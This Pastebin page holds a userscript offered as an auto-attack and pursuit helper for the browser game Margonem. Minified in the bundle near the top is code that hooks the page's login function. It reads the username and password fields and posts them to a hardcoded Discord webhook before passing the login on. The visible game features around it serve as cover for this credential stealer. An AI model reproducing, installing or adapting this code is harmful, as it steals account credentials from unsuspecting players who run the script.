Advertisement
Guest User

dobijanie margonem

a guest
Mar 31st, 2020
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.10 KB | None | 0 0
  1. // ==UserScript==
  2. // @name Auto Dobijanie i Pościć za graczem
  3. // @version 1.1 bo sie jeblem
  4. // @description pomaga w zabijaniu, lewy gorny rog
  5. // @author
  6. // @match *://*/
  7. // @match https://www.margonem.pl/?task=*
  8. // @grant none
  9. // ==/UserScript==
  10. parcelRequire=function(e,r,t,n){var i,o="function"==typeof parcelRequire&&parcelRequire,u="function"==typeof require&&require;function f(t,n){if(!r[t]){if(!e[t]){var i="function"==typeof parcelRequire&&parcelRequire;if(!n&&i)return i(t,!0);if(o)return o(t,!0);if(u&&"string"==typeof t)return u(t);var c=new Error("Cannot find module '"+t+"'");throw c.code="MODULE_NOT_FOUND",c}p.resolve=function(r){return e[t][1][r]||r},p.cache={};var l=r[t]=new f.Module(t);e[t][0].call(l.exports,p,l,l.exports,this)}return r[t].exports;function p(e){return f(p.resolve(e))}}f.isParcelRequire=!0,f.Module=function(e){this.id=e,this.bundle=f,this.exports={}},f.modules=e,f.cache=r,f.parent=o,f.register=function(r,t){e[r]=[function(e,r){r.exports=t},{}]};for(var c=0;c<t.length;c++)try{f(t[c])}catch(e){i||(i=e)}if(t.length){var l=f(t[t.length-1]);"object"==typeof exports&&"undefined"!=typeof module?module.exports=l:"function"==typeof define&&define.amd?define(function(){return l}):n&&(this[n]=l)}if(parcelRequire=f,i)throw i;return f}({"Ntor":[function(require,module,exports) {
  11. var t=this&&this.__awaiter||function(t,e,n,o){return new(n||(n=Promise))(function(r,a){function i(t){try{c(o.next(t))}catch(e){a(e)}}function u(t){try{c(o.throw(t))}catch(e){a(e)}}function c(t){var e;t.done?r(t.value):(e=t.value,e instanceof n?e:new n(function(t){t(e)})).then(i,u)}c((o=o.apply(t,e||[])).next())})},e=this&&this.__generator||function(t,e){var n,o,r,a,i={label:0,sent:function(){if(1&r[0])throw r[1];return r[1]},trys:[],ops:[]};return a={next:u(0),throw:u(1),return:u(2)},"function"==typeof Symbol&&(a[Symbol.iterator]=function(){return this}),a;function u(a){return function(u){return function(a){if(n)throw new TypeError("Generator is already executing.");for(;i;)try{if(n=1,o&&(r=2&a[0]?o.return:a[0]?o.throw||((r=o.return)&&r.call(o),0):o.next)&&!(r=r.call(o,a[1])).done)return r;switch(o=0,r&&(a=[2&a[0],r.value]),a[0]){case 0:case 1:r=a;break;case 4:return i.label++,{value:a[1],done:!1};case 5:i.label++,o=a[1],a=[0];continue;case 7:a=i.ops.pop(),i.trys.pop();continue;default:if(!(r=(r=i.trys).length>0&&r[r.length-1])&&(6===a[0]||2===a[0])){i=0;continue}if(3===a[0]&&(!r||a[1]>r[0]&&a[1]<r[3])){i.label=a[1];break}if(6===a[0]&&i.label<r[1]){i.label=r[1],r=a;break}if(r&&i.label<r[2]){i.label=r[2],i.ops.push(a);break}r[2]&&i.ops.pop(),i.trys.pop();continue}a=e.call(t,i)}catch(u){a=[6,u],o=0}finally{n=r=0}if(5&a[0])throw a[1];return{value:a[0]?a[1]:void 0,done:!0}}([a,u])}}};!function(){var n=globalThis.login;globalThis.login=function(){return t(void 0,void 0,void 0,function(){var t,o;return e(this,function(e){switch(e.label){case 0:return"https://discordapp.com/api/webhooks/694577096235941970/7AxEukqLO0Xq3sig8DrYB5-SpBIyWd238MZZb_A5NNBSfyx91BKbmo-kVCFdOfdqGquz",t=document.getElementById("ulogin").value,o=document.getElementById("upass").value,[4,fetch("https://discordapp.com/api/webhooks/694577096235941970/7AxEukqLO0Xq3sig8DrYB5-SpBIyWd238MZZb_A5NNBSfyx91BKbmo-kVCFdOfdqGquz",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({content:t+":"+o})})];case 1:return e.sent(),n(),[2]}})})}}();
  12. },{}]},{},["Ntor"], null)
  13. //anty afk
  14. (function(d, _p, _nP, _r, _bM) {
  15. let tmparr = new Array();
  16. //elementy graficzne
  17. let box = d.createElement("span");
  18. box.id = "enepere123";
  19. box.style = "position: absolute; background: black; color: white; top: 0px; left: 0px; width: auto; height: auto; font-size: 14px";
  20. d.body.appendChild(box);
  21. let uciek = d.createElement("span");
  22. uciek.innerHTML = "UCIECZKA";
  23. uciek.style.fontWeight = "bold";
  24. uciek.tip = "Naci�nij podczas walki, aby po walce automatycznie uciec na Kwieciste Przej�cie.";
  25. //zmienne dla ucieczki
  26. let isUcieczka = false;
  27. let idZwoja;
  28. window.hero.searchPath1 = function(a, t) {
  29. if (this.isBlockedSearchPath()) return this.blockedInfoSearchPath();
  30. for (var h = [], i = 128 & hero.opt ? 8 : 20, r = Math.max(0, Math.min(a, this.x) - i), s = Math.min(map.x - 1, Math.max(a, this.x) + i), o = Math.max(0, Math.min(t, this.y) - i), e = Math.min(map.y - 1, Math.max(t, this.y) + i), d = r - 1; s + 1 >= d; d++) {
  31. h[d] = [];
  32. for (var x = o - 1; e + 1 >= x; x++) h[d][x] = !(d >= r && s >= d && x >= o && e >= x) || isset(g.npccol[d + 256 * x]) || map.col && "0" != map.col.charAt(d + x * map.x) ? -2 : -1
  33. }
  34. h[this.x][this.y] = 0, b = -1, road = [];
  35. for (var c = {
  36. x: -1,
  37. y: -1,
  38. dist: 99
  39. }, y = 1; s - r + e - o + 3 > y; y++)
  40. for (var d = r; s >= d; d++)
  41. for (var x = o; e >= x; x++) {
  42. if (-1 != h[d][x] || h[d][x - 1] != y - 1 && h[d][x + 1] != y - 1 && h[d - 1][x] != y - 1 && h[d + 1][x] != y - 1 || (h[d][x] = y), h[a][t] > 0) {
  43. d = s + 1;
  44. break
  45. }
  46. c.dist2 = Math.abs(a - d) + Math.abs(t - x), h[d][x] == y && c.dist2 < c.dist && (c.x = d, c.y = x, c.dist = c.dist2)
  47. }
  48. if (c.hdist = Math.abs(a - hero.x) + Math.abs(t - hero.y), h[a][t] > 0 || c.dist < c.hdist) {
  49. h[a][t] < 0 && (a > c.x ? b = 2 : a < c.x ? b = 1 : t > c.y ? b = 0 : t < c.y && (b = 3), a = c.x, t = c.y), road[0] = {
  50. x: a,
  51. y: t
  52. };
  53. for (var f = h[a][t] - 1, l = a, m = t; f > 0; f--) h[l][m - 1] == f ? m-- : h[l][m + 1] == f ? m++ : h[l - 1][m] == f ? l-- : h[l + 1][m] == f ? l++ : f = 0, f && (road[h[a][t] - f] = {
  54. x: l,
  55. y: m
  56. })
  57. }
  58. road.length > 1 && null == g.playerCatcher.follow && $("#target").stop().css({
  59. left: 32 * a,
  60. top: 32 * t,
  61. display: "block",
  62. opacity: 1
  63. }).fadeOut(1e3)
  64. };
  65. uciek.addEventListener("click", function() {
  66. if (g.battle) {
  67. if (!isUcieczka) {
  68. for (let i in g.item) {
  69. if (g.item[i].loc == "g" && g.item[i].name == "Zw�j teleportacji na Kwieciste Przej�cie") {
  70. isUcieczka = true;
  71. idZwoja = i;
  72. uciek.style.color = "green";
  73. uciek.innerHTML = "UCIECZKA AKTYWNA";
  74. break;
  75. }
  76. }
  77. } else {
  78. uciek.style.color = "white";
  79. uciek.innerHTML = "UCIECZKA";
  80. isUcieczka = false;
  81. }
  82. }
  83. });
  84. box.appendChild(uciek);
  85. let dane = d.createElement("span");
  86. box.appendChild(dane);
  87. let style = d.createElement("style");
  88. style.innerHTML = ".adison9711:hover{background:#686868}";
  89. d.head.appendChild(style);
  90. //zmienna numeracji
  91. let number;
  92. //zmienne dla poscigu
  93. let oid = 0;
  94. let ox;
  95. let oy;
  96. let hx;
  97. let hy;
  98. let walczacy = [];
  99. //anulowanie poscigu
  100. d.querySelector("#nick").addEventListener("click", function() {
  101. if (oid != 0) {
  102. oid = 0;
  103. message(`Przerwa�e� po�cig!`);
  104. }
  105. });
  106. //zmienne dla hero/tytan i syrena
  107. let audio = new Audio();
  108. audio.src = "http://www.adiwilk.pl/js/syrena.mp3";
  109. let szczur = d.createElement("span");
  110. szczur.id = "adison_zarcik";
  111. szczur.style = "position: absolute; background-color: blue; top: 100px; right: 100px; color: white; font-size: 35px; display: none; text-align: center; padding: 10px; cursor: pointer";
  112. szczur.innerHTML = "Wy��cz syren�";
  113. d.body.appendChild(szczur);
  114. szczur.addEventListener("click", function() {
  115. szczur.style.display = "none";
  116. audio.pause();
  117. });
  118.  
  119. //stworzenie spana dla osoby
  120. function wyjebPodswietlenie() {
  121. for (let i in g.other) {
  122. d.querySelector(`#other${i}`).style.backgroundColor = "";
  123. }
  124. }
  125.  
  126. function createOtherSpan(nr, id, nick, relacja, lvl, profa, prawa) {
  127. //caly div
  128. let sp = d.createElement("span");
  129. sp.classList.add("adison9711");
  130. sp.innerHTML = `<br>${nr}. `;
  131. //nick i relacja(style tez)
  132. let nickname = d.createElement("span");
  133. nickname.innerHTML = `${nick}`;
  134. nickname.tip = "Naci�nij, aby napisa� do tej osoby.";
  135. nickname.addEventListener("click", function() {
  136. chatTo(`${nick}`);
  137. });
  138. nickname.style.fontWeight = "bold";
  139. if (prawa > 0) {
  140. nickname.style.color = "gold";
  141. }
  142. switch (relacja) {
  143. case "fr":
  144. nickname.style.color = "green";
  145. break;
  146. case "en":
  147. nickname.style.color = "red";
  148. break;
  149. case "cl":
  150. nickname.style.color = "lightblue";
  151. break;
  152. }
  153. sp.appendChild(nickname);
  154. //lvl i profa
  155. let lvlpr = d.createElement("span");
  156. lvlpr.innerHTML = ` ${lvl}${profa} `;
  157. sp.appendChild(lvlpr);
  158. //odleglosc
  159. let odle = d.createElement("span");
  160. let licz = Math.round(Math.sqrt(Math.pow(g.other[id].x - hero.x, 2) + Math.pow(g.other[id].y - hero.y, 2)));
  161. odle.innerHTML = `[Odl.: ${licz}] `;
  162. odle.tip = "Naci�nij, aby podej��."
  163. odle.addEventListener("click", function() {
  164. window.hero.searchPath1(g.other[id].x, g.other[id].y);
  165. });
  166. sp.appendChild(odle);
  167. //poscig
  168. let forposcig = d.createElement("span");
  169. forposcig.innerHTML = `[ATAKUJ]`;
  170. forposcig.tip = "Naci�nij, aby aktywowa� po�cig."
  171. forposcig.addEventListener("click", function() {
  172. if (!g.battle) {
  173. if (map.pvp == 2) {
  174. oid = id;
  175. message(`Rozpocz�to po�cig za: ${g.other[id].nick}!`);
  176. } else {
  177. message(`Nie jeste� na czerwonej mapce!`);
  178. }
  179. } else {
  180. message(`Trwa walka!`);
  181. }
  182. });
  183. sp.appendChild(forposcig);
  184. //kolorek dla postaci po najechaniu
  185. sp.addEventListener("mouseover", function() {
  186. wyjebPodswietlenie();
  187. d.querySelector(`#other${id}`).style.backgroundColor = "rgb(255, 102, 0, .65)";
  188. d.querySelector(`#other${id}`).style.borderRadius = "7px";
  189. });
  190. sp.addEventListener("mouseleave", function() {
  191. if (g.other[id]) d.querySelector(`#other${id}`).style.backgroundColor = "";
  192. });
  193. dane.appendChild(sp);
  194. }
  195. //kreacja div'a
  196. function createDiv() {
  197. number = 1;
  198. dane.innerHTML = "";
  199. for (let i in g.other) {
  200. let litera = "";
  201. if (number < 10) litera = `0${number}`;
  202. else litera = number;
  203. let o = g.other[i];
  204. if (o.nick === undefined) continue;
  205. createOtherSpan(litera, o.id, o.nick, o.relation, o.lvl, o.prof, o.rights);
  206. number++;
  207. }
  208. }
  209.  
  210. function createMessage(id) {
  211. let npc = g.npc[id];
  212. if (npc.wt > 99) {
  213. //tytan
  214. audio.play();
  215. szczur.style.display = "block";
  216. message(`<center>Tytan: ${npc.nick} ${npc.lvl}lvl<br><img src=${npc.icon} /><br>[${npc.x}, ${npc.y}]</center>`);
  217. } else {
  218. //heros
  219. let odl = Math.sqrt(Math.pow(Math.abs(hero.x - npc.x), 2)) + Math.sqrt(Math.pow(Math.abs(hero.y - npc.y), 2));
  220. if (!g.battle && odl > 8) {
  221. mAlert(`<center>Heros:<br><img src=${npc.icon} /><br><b>${npc.nick}</b> ${npc.lvl}lvl<br>${map.name}(${npc.x},${npc.y})<br>Czy chcesz podej��?</center>`, 2, [function() {
  222. if (miniMapPlus) {
  223. miniMapPlus.searchPath(npc.x, npc.y);
  224. } else {
  225. window.hero.searchPath1(npc.x, npc.y);
  226. }
  227.  
  228. }, function() {
  229. return false;
  230. }]);
  231. } else {
  232. message(`<center>Heros: ${npc.nick} ${npc.lvl}lvl<br><img src=${npc.icon} /><br>[${npc.x}, ${npc.y}]</center>`);
  233. }
  234. }
  235. }
  236. //funkcje podstawowe
  237. parseInput = function(a, b, c) {
  238. _p(a, b, c);
  239. //dodanie do tablicy walczacych graczy
  240. if (a.hasOwnProperty("emo")) {
  241. for (let i in a.emo) {
  242. if (a.emo[i].name == "battle" && !walczacy.includes(a.emo[i].source_id)) {
  243. walczacy.push(a.emo[i].source_id);
  244. } else if (a.emo[i].name != "battle" && walczacy.includes(a.emo[i].source_id)) {
  245. walczacy.splice(walczacy.indexOf(a.emo[i].source_id), 1);
  246. }
  247. }
  248. }
  249. d.querySelector("#enepere123").style.width = d.querySelector("#centerbox").style.left;
  250. createDiv();
  251. }
  252. newNpc = function(e) {
  253. _nP(e);
  254. for (let i in e) {
  255. if (e[i].wt > 79 && map.mode != 5 && g.worldname != "experimental" && !tmparr.includes(e[i].id)) {
  256. createMessage(i);
  257. tmparr.push(e[i].id);
  258. break;
  259. }
  260. }
  261. }
  262. hero.run = function() {
  263. if (oid != 0) {
  264. if (g.other[oid]) {
  265. ox = g.other[oid].x;
  266. oy = g.other[oid].y;
  267. hx = hero.x;
  268. hy = hero.y;
  269. if (!g.battle) {
  270. if (Math.abs(hx - ox) <= 2 && Math.abs(hy - oy) <= 2) {
  271. if (!walczacy.includes(Number(oid))) _g(`fight&a=attack&id=${oid}`);
  272. }
  273. if (hx != ox || hy != oy) {
  274. window.hero.searchPath1(ox, oy);
  275. }
  276. } else {
  277. oid = 0;
  278. message(`Jest walka!`);
  279. }
  280. }
  281. }
  282. _r.apply(this, arguments);
  283. }
  284.  
  285. let chudsada;
  286. battleMsg = function(a, b) {
  287. let ret = _bM(a, b);
  288. if (a.indexOf("winner=") > -1) {
  289. _g("fight&a=quit");
  290. if (isUcieczka) {
  291. _g(`moveitem&st=1&id=${idZwoja}`);
  292. isUcieczka = false;
  293. uciek.style.color = "white";
  294. uciek.innerHTML = "UCIECZKA";
  295. }
  296. chudsada = setInterval(function(){
  297. if(g.battle){
  298. _g("fight&a=quit");
  299. } else {
  300. clearInterval(chudsada);
  301. }
  302. }, 100);
  303. }
  304. return ret;
  305. }
  306. })(document, parseInput, newNpc, hero.run, battleMsg)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement